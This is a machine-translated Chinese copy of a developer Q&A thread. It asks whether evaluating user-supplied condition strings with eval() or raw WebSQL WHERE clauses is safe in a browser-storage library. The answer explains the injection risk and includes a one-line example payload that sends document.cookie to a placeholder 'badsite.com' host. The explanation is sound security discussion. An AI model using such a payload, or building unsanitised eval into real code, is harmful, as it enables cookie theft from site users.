2012-12-19 15 views
2

我幾乎已經完成開發一個腳本,該腳本公開了一個API,可用於在任何Web瀏覽器存儲技術上統一執行存儲操作。Web瀏覽器存儲:允許評估用戶提供的字符串的安全含義?

我正在處理的最後幾個功能是條件檢索和刪除操作,當然這需要提供一個條件表達式來進行評估(使用eval()或者在webSQL,在WHERE之後直接插入)。

我至少需要兩個完整的解析器(一個用於webSQL,一個用於indexedDB)來驗證輸入是否有效,但是在安全性評估之後,似乎解析輸入或者甚至消毒它是不必要的。

我有點不確定評價原始字符串的安全隱患,所以我會很感激我的安全評估,一些輸入:

用戶:

評估輸入提供直接或間接地由用戶 應該是一個不是問題的問題,由於存儲 技術(他/她會操縱數據只能訪問到他/她 對於給定的起源)的sanboxed性質,而事實上,沒有什麼可以用完成用戶不能直接在瀏覽器中完成的API。

第三方:

存儲技術服從同源策略,因此,不能 訪問屬於其他來源

我覺得好像我以前做的沙盒存儲區在我的評估中忽略了一個或多個可能的安全問題;這是怎麼回事?或者評估(大部分)是正確的?

+1

取決於。如果使用您的庫的應用程序向第三方公開了跨域接口,則可以將表達式字符串發送到您的API。當然,打開這個鏈接的部分(而不是你的lib)負責驗證,但它可能會提供一些驗證工具。 – Bergi

回答

1

真正revelant安全問題是在條件字符串來自。只要字符串總是來自用戶,就沒有風險 - 用戶可以直接從JS控制檯直接發送任何內容。一旦你允許字符串來自除了直接用戶輸入之外的其他地方,你將進入危險的領域。

假設一個網站使用您的API的腳本在他們的代碼。假設他們也讓你保存你最喜歡的搜索條件。進一步假設他們讓你與其他用戶分享你最喜愛的搜索列表。當您查看共享條件時,您正在加載另一個用戶提供的字符串。

你的假設一個向您發送一個鏈接以查看他的保存條件:

foo==5; e=document.createElement(iframe); e.src='http://badsite.com/stealcookies?'+document.cookie;document.body.appendChild(e); 

當加載條件到您的數據瀏覽器,你剛剛露出你的Cookie數據到另一個網站。

對於WebSQL注入(而不是eval),同樣的損害是可能的,但僅限於數據存儲,而不是整個JavaScript執行環境。

相關問題